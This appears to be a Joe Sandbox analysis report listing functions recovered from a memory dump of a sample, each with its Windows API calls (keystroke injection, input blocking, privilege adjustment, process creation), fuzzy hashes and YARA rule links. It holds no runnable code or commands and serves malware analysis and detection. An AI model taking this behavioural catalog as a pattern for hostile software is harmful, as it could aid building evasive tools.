Opcode Fuzzy Hash: 07b2b5074fd06e929d8b5ef07a94ed01d1dd545b4749585272a46c27e8dbe469
Instruction Fuzzy Hash: A1218835204944AFDB29AF29D888EAA3BB6EF05360F184265F5354B2F2D7309E52DF50

Function 001BFD47 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 001BFD71
FindClose.KERNEL32(00000000), ref: 001BFDA1

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 348236342a39230edeec01da7bdbdc79fabab0d28215af874b49c0b4a9e48e72
Instruction ID: 211dd4800fed53d34f48b5a6d5a95a8d1877e33113b1ec0ec5b30595f33d296e
Opcode Fuzzy Hash: 348236342a39230edeec01da7bdbdc79fabab0d28215af874b49c0b4a9e48e72
Instruction Fuzzy Hash: 9411AD326142009FD700EF28D849A7AB7E9FF94324F00851EF8A99B291DB30ED018B81

Function 001DF0A1 Relevance: 3.0, APIs: 2, Instructions: 46nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

NtdllDialogWndProc_W.NTDLL(?,0000002B,?,?,?,?,?,?,?,001EF352,?,?,?), ref: 001DF115

Part of subcall function 0018B155: GetWindowLongW.USER32(?,000000EB), ref: 0018B166

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 001DF0FB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LongWindow$DialogMessageNtdllProc_Send
String ID:
API String ID: 1273190321-0
Opcode ID: f4ed9752acc6e9c1917f1063377267aa3754bf1adde0d0b91e7d084ea790cb20
Instruction ID: 549c70438655c9c45ede5cd3c89dd34cded3646e4fe31cb15ee800327e62d11e
Opcode Fuzzy Hash: f4ed9752acc6e9c1917f1063377267aa3754bf1adde0d0b91e7d084ea790cb20
Instruction Fuzzy Hash: D901B131200214EBDB21AF14EC89F6A3FA6FF85364F140129F9164B3E1C731A953DB50

Function 001DF45A Relevance: 3.0, APIs: 2, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 001DF47D
NtdllDialogWndProc_W.NTDLL(?,00000200,?,?,?,?,?,?,?,001EF42E,?,?,?,?,?), ref: 001DF4A6

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ClientDialogNtdllProc_Screen
String ID:
API String ID: 3420055661-0
Opcode ID: 866d8f8f1e33e2d2cf9ccc86cae216a25b2dc685ce6ad50a133b5d0aaa635978
Instruction ID: 1457021453108e9745426c7b761ac8d28b40bb5a23643e7857ae6a62aa3bb4d5
Opcode Fuzzy Hash: 866d8f8f1e33e2d2cf9ccc86cae216a25b2dc685ce6ad50a133b5d0aaa635978
Instruction Fuzzy Hash: 68F05E72400118FFEF049F95EC099BEBFB9FF44351F14401AF902A2160D7B5AA51EB60

Function 001BD712 Relevance: 3.0, APIs: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,001CC2E2,?,?,00000000,?), ref: 001BD73F
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,001CC2E2,?,?,00000000,?), ref: 001BD751

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 31e84c6f46b5adeed7269265df666fb01d3b305b5cbae821d9c2fa9e0d3d48c5
Instruction ID: c770f819db9b6663c8e33d9417d29a3c121594558568884f0338773e5342041c
Opcode Fuzzy Hash: 31e84c6f46b5adeed7269265df666fb01d3b305b5cbae821d9c2fa9e0d3d48c5
Instruction Fuzzy Hash: 74F08C3510032DABDB21AFA4DC49FEA776DBF49365F008155F909D6181E7309A80CFA0

Function 001B4B52 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 001B4B89
keybd_event.USER32(?,7694C0D0,?,00000000), ref: 001B4B9C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 829a31c179a33dd827efd75d368861ff08fcc57da7db6d9bfb1a25312ea80a8b
Instruction ID: 0f31956a9ed0601bbbb3409b518ab9a703d1f38c04de9cd283f4b55c86e3bb3a
Opcode Fuzzy Hash: 829a31c179a33dd827efd75d368861ff08fcc57da7db6d9bfb1a25312ea80a8b
Instruction Fuzzy Hash: C0F06D7080424DAFDB058FA0C805BBE7BB4AF00305F00C409F951A51A2D779C616DF90

Function 001AB8B0 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000), ref: 001AB8C5
CloseHandle.KERNEL32(?), ref: 001AB8D7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 3c861dcc3cf0ff61f5b814439cb1a1cb435b9ba2b89ff95d5bc0a411b93bfd9c
Instruction ID: da813ab522add1ac20b1cff64621c24116577f057ca38a6840d3365074323eef
Opcode Fuzzy Hash: 3c861dcc3cf0ff61f5b814439cb1a1cb435b9ba2b89ff95d5bc0a411b93bfd9c
Instruction Fuzzy Hash: CEE0EC72004611EFEB262B64FC09D777BEEEF08311B108869F49681870DB62ACD1DB10

Function 001DF594 Relevance: 3.0, APIs: 2, Instructions: 21nativeCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 001DF59C
NtdllDialogWndProc_W.NTDLL(?,00000084,00000000,?,?,001EF3AD,?,?,?,?), ref: 001DF5C6

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 53429eca3edfbbb8e9eff86990b309bd1b3f53908ba6d2a56fab13abe23b89a5
Instruction ID: 1bdace55c3f665a8e1a52ae308ba2da4075aa95edec28611d23c521ff60ff992
Opcode Fuzzy Hash: 53429eca3edfbbb8e9eff86990b309bd1b3f53908ba6d2a56fab13abe23b89a5
Instruction Fuzzy Hash: A7E0CD70104218BBEB140F09FC09F793B15F700750F10851AF917C80E0D7B095E1E660

Function 00198E3C Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,0017125D,00197A43,00170F35,?,?,00000001), ref: 00198E41
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00198E4A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2bbb27d9f6728bebf378dc715cad281b13395683be77185fa2051628b603674d
Instruction ID: 8abb01cd625fd04c7030095f5ecc94b88b3825d95df51a5a09aee833d7053d2a
Opcode Fuzzy Hash: 2bbb27d9f6728bebf378dc715cad281b13395683be77185fa2051628b603674d
Instruction Fuzzy Hash: EAB092B1048A08ABEB002BA1FC09BB83F6AFB08A62F014010F71D448608B635490CA92

Function 001A113E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a0ea1672c947e7d2f69b2f5884e7fbe4cb9d8b509fa1022d8838a95ed80eaf0
Instruction ID: 5e880fdf3779dc36a23199938a395a25ac906b884635c6e458e2f648ab1311d5
Opcode Fuzzy Hash: 7a0ea1672c947e7d2f69b2f5884e7fbe4cb9d8b509fa1022d8838a95ed80eaf0
Instruction Fuzzy Hash: 5CB10220D2AF504DD7239639983933BB65DAFBB2C5F91D71BFC2A70D22EB2185834580

Function 001E02AA Relevance: 1.6, APIs: 1, Instructions: 64nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

NtdllDialogWndProc_W.NTDLL(?,00000112,?,?), ref: 001E0352

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: d0cd7a615615308f90aa306f0b73a8601268b49820730b67dcbe27002d1b89af
Instruction ID: 574c2365fcc042510f04492399b0aa5b7e422d8fb657f436b846513e321f745e
Opcode Fuzzy Hash: d0cd7a615615308f90aa306f0b73a8601268b49820730b67dcbe27002d1b89af
Instruction Fuzzy Hash: F7119C31204695BFFB2A1B2DDC0AFBD3714FB09720F204315F9215A2E2CBE49D80D268

Function 001DE769 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0018B155: GetWindowLongW.USER32(?,000000EB), ref: 0018B166

CallWindowProcW.USER32(?,?,00000020,?,?), ref: 001DE7AF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$CallLongProc
String ID:
API String ID: 4084987330-0
Opcode ID: 7ab22869fc8420776a4da4ab64dd47fffe1e4b39b029da0898f7cf8c49295563
Instruction ID: 9b1876d278fc925b9ea33406222454fb0264fb0b01b0c79d00e1480edcb6122f
Opcode Fuzzy Hash: 7ab22869fc8420776a4da4ab64dd47fffe1e4b39b029da0898f7cf8c49295563
Instruction Fuzzy Hash: DDF0FF76104108EFCF49AF54EC44DB93BE6EB04361B044515F9158A6B1C7329D71EB90

Function 001DEA4E Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

Part of subcall function 0018B736: GetCursorPos.USER32(000000FF), ref: 0018B749
Part of subcall function 0018B736: ScreenToClient.USER32(00000000,000000FF), ref: 0018B766
Part of subcall function 0018B736: GetAsyncKeyState.USER32(00000001), ref: 0018B78B
Part of subcall function 0018B736: GetAsyncKeyState.USER32(00000002), ref: 0018B799

NtdllDialogWndProc_W.NTDLL(?,00000204,?,?,00000001,?,?,?,001EF417,?,?,?,?,?,00000001,?), ref: 001DEA9C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AsyncState$ClientCursorDialogLongNtdllProc_ScreenWindow
String ID:
API String ID: 2356834413-0
Opcode ID: f034964f89c2b9bc6cdd170dff814e98d97718adc7976c2b788ed9043bde9e50
Instruction ID: 31f3b35b4d51870f52867e41685b9c1da2a9c6322ace4b9654ea6f0c087090d3
Opcode Fuzzy Hash: f034964f89c2b9bc6cdd170dff814e98d97718adc7976c2b788ed9043bde9e50
Instruction Fuzzy Hash: 22F08275100219ABDB146F15DC0AABA3FA1FB00751F404015F9061B1A1D7769971DBD1

Function 0018B7F2 Relevance: 1.5, APIs: 1, Instructions: 28nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

NtdllDialogWndProc_W.NTDLL(?,00000006,?,?,?,?,0018AF40,?,?,?,?,?), ref: 0018B83B

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 7cca0378974d511446f0bd274442f54b7375b48c9a1e24462a91863106594ed8
Instruction ID: 9b66b59b8d0aad87612855bb567b2863ddb30e3bde3a68f44b5c01bcd2d240de
Opcode Fuzzy Hash: 7cca0378974d511446f0bd274442f54b7375b48c9a1e24462a91863106594ed8
Instruction Fuzzy Hash: 8FF08274600209DFEB18EF15E8949393BA6FB05360F104629F9524B2B0D771D961DB54

Function 001C703C Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 001C7057

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 6af4409d59e58ead69612f0282b83cf984686f6c2f80df4ab0e95277ebbd47c1
Instruction ID: 199554b0ee20a70ccb23272aeddff82a1b48944fb8734b163a2a70fd0360bb26
Opcode Fuzzy Hash: 6af4409d59e58ead69612f0282b83cf984686f6c2f80df4ab0e95277ebbd47c1
Instruction Fuzzy Hash: EDE048352042045FC710EFA9D408E96F7ED9F65750F01C42AF945D7291DBF0E8408F90

Function 001DF3DA Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000232,?,?), ref: 001DF41A

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 7d2c03a3ad4f6b7d173f7c47f6fd50984283930b73bef3570207879943947938
Instruction ID: 6cdabc855453c5b7c8a7e3ba881f63edfb000a56be52ad6144ab21842045d621
Opcode Fuzzy Hash: 7d2c03a3ad4f6b7d173f7c47f6fd50984283930b73bef3570207879943947938
Instruction Fuzzy Hash: 37F06D31200259AFDB21DF58EC09FD63BA5FB05360F044419BA11672E1CB70B920D764

Function 0018AC99 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 0018AF7D: GetWindowLongW.USER32(?,000000EB), ref: 0018AF8E

NtdllDialogWndProc_W.NTDLL(?,00000007,?,00000000,00000000,?,?), ref: 0018ACC7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 26cb1b54215724d41878579d096ac30adbe0f65017f4548360ef9a64a36aa3ad
Instruction ID: df186731d271b6da708ec856b6dda27868573256fcc77f6a14cdeb08d88813fc
Opcode Fuzzy Hash: 26cb1b54215724d41878579d096ac30adbe0f65017f4548360ef9a64a36aa3ad
Instruction Fuzzy Hash: B8E0EC75100208FBDF05AF90EC55E683B26FF59354F508419F6054A6A1CB32A522EF55

Function 001DF425 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000053,?,?,?,001EF3D4,?,?,?,?,?,?), ref: 001DF450

Part of subcall function 001DE13E: _memset.LIBCMT ref: 001DE14D
Part of subcall function 001DE13E: _memset.LIBCMT ref: 001DE15C
Part of subcall function 001DE13E: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00233EE0,00233F24), ref: 001DE18B
Part of subcall function 001DE13E: CloseHandle.KERNEL32 ref: 001DE19D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memset$CloseCreateDialogHandleNtdllProc_Process
